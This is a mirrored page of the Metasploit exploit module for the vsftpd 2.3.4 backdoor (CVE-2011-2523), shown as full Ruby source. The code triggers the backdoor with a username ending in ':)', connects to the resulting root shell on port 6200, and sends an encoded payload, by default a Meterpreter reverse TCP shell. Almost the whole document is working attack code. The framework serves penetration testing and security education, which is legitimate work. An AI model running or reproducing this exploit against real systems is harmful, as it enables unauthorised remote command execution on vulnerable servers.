Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
57913 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Auxiliary::Report
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'VSFTPD 2.3.4 Backdoor Command Execution',
17
'Description' => %q{
18
This module exploits a malicious backdoor that was added to the VSFTPD download
19
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
20
June 30th 2011 and July 1st 2011 according to the most recent information
21
available. This backdoor was removed on July 3rd 2011.
22
},
23
'Author' => [
24
'hdm',
25
'MC',
26
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
[ 'CVE', '2011-2523' ],
31
[ 'OSVDB', '73573'],
32
[ 'URL', 'http://pastebin.com/AetT9sS5'],
33
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
34
],
35
'Privileged' => true,
36
'Platform' => [ 'unix', 'linux' ],
37
'Arch' => ARCH_CMD,
38
'Payload' => {
39
'Space' => 2000,
40
'BadChars' => '',
41
'DisableNops' => true
42
},
43
'Targets' => [
44
[
45
'Linux/Unix Command',
46
{
47
'Type' => :unix_cmd,
48
'DefaultOptions' => {
49
# This exploit also supports direct interaction with the backdoor using cmd/unix/interact payload
50
'PAYLOAD' => 'cmd/linux/http/x86/meterpreter_reverse_tcp'
51
}
52
}
53
]
54
],
55
'DisclosureDate' => '2011-07-03',
56
'DefaultTarget' => 0,
57
'Notes' => {
58
'Reliability' => UNKNOWN_RELIABILITY,
59
'Stability' => UNKNOWN_STABILITY,
60
'SideEffects' => UNKNOWN_SIDE_EFFECTS
61
}
62
)
63
)
64
65
register_options([ Opt::RPORT(21) ])
66
end
67
68
def get_banner
69
banner = sock.get_once(-1, 30).to_s
70
71
vprint_status("FTP banner: #{banner.strip}")
72
version = banner[/\((.*?)\)/, 1]
73
report_service(
74
host: rhost,
75
port: rport,
76
proto: 'tcp',
77
name: 'ftp',
78
info: "#{version}"
79
)
80
81
banner
82
end
83
84
def check
85
# Check for backdoor first, else exploit will fail
86
vprint_status("Checking if backdoor has already been triggered (else exploit will fail)")
87
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
88
if nsock
89
print_error("The port used by the backdoor bind listener is already open/in-use (6200/TCP)")
90
return Exploit::CheckCode::Unknown
91
end
92
93
vprint_status("Connecting to FTP service")
94
connect
95
96
vprint_status("Checking FTP banner")
97
banner = get_banner
98
99
if banner.downcase.include?("vsftpd 2.3.4")
100
print_status("FTP banner hints its vulnerable: #{banner.strip}")
101
else
102
vprint_status("FTP banner: #{banner.strip}")
103
end
104
105
ftp_user = rand_text_alphanumeric(rand(6) + 1)
106
vprint_status("Trying to log into FTP (User: #{ftp_user})")
107
sock.put("USER #{ftp_user}\r\n")
108
resp = sock.get_once(-1, 30).to_s
109
if resp =~ /^530 /
110
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
111
return Exploit::CheckCode::Safe
112
end
113
114
if resp !~ /^331 /
115
print_error("This server did not respond as expected: #{resp.strip}")
116
return Exploit::CheckCode::Unknown
117
end
118
119
return Exploit::CheckCode::Appears if banner.downcase.include?("vsftpd 2.3.4") and resp =~ /^331 /
120
return Exploit::CheckCode::Unknown
121
end
122
123
def exploit
124
# Check for backdoor first, else exploit will fail
125
framework.sessions.each do |sid, sess|
126
next unless sess.via_exploit
127
if sess.via_exploit == fullname
128
vprint_error("Session #{sid} is already connected to the backdoor")
129
end
130
end
131
132
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
133
if nsock
134
# Chance are, we will fail, but doesn't hurt to try
135
print_warning("The port used by the backdoor bind listener is already open. Trying...")
136
begin
137
handle_backdoor(nsock)
138
rescue
139
vprint_error("Someone has beat us to it, the backdoor is already in-use!")
140
raise Msf::Exploit::Failed, "Backdoor already in-use"
141
end
142
end
143
144
# Now connect to the FTP service
145
vprint_status("Connecting to FTP service")
146
connect
147
148
# Without this, 220 response, rather than 331
149
vprint_status("Checking FTP banner")
150
banner = get_banner
151
152
ftp_user = "#{rand_text_alphanumeric(rand(6) + 1)}:)"
153
vprint_status("Trying to log into FTP via backdoor. User: #{ftp_user}")
154
sock.put("USER #{ftp_user}\r\n")
155
resp = sock.get_once(-1, 30).to_s
156
vprint_status(resp.strip)
157
158
if resp =~ /^530 /
159
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
160
disconnect
161
return
162
end
163
164
if resp !~ /^331 /
165
print_error("This server did not respond as expected: #{resp.strip}")
166
disconnect
167
return
168
end
169
170
ftp_pass = "#{rand_text_alphanumeric(rand(6) + 1)}"
171
vprint_status("Trying to log into FTP via backdoor. Password: #{ftp_pass}")
172
sock.put("PASS #{ftp_pass}\r\n")
173
174
# Do not bother reading the response from password, just try the backdoor
175
vprint_status("Connecting to backdoor on 6200/TCP")
176
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
177
if nsock
178
print_good("Backdoor has been spawned!")
179
handle_backdoor(nsock)
180
return
181
else
182
print_warning("Unable to connect to backdoor on 6200/TCP. Cooldown?")
183
end
184
185
# Finished with FTP
186
disconnect
187
end
188
189
def handle_backdoor(s)
190
vprint_status("Trying 'id' command")
191
s.put("id\n")
192
193
# Wait 5 seconds and get everything
194
r = s.get_once(-1, 5).to_s
195
if r !~ /uid=/
196
print_error("The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?")
197
# Finished with the backdoor
198
disconnect(s)
199
raise Msf::Exploit::Failed, 'Could not connect to backdoor'
200
end
201
202
vprint_good("UID: #{r.strip}")
203
204
unless payload.encoded.empty?
205
c = ""
206
c << payload.encoded
207
c << "\n"
208
vprint_status("Running: #{c.strip}")
209
s.put(c)
210
end
211
212
handler(s)
213
end
214
end
215
216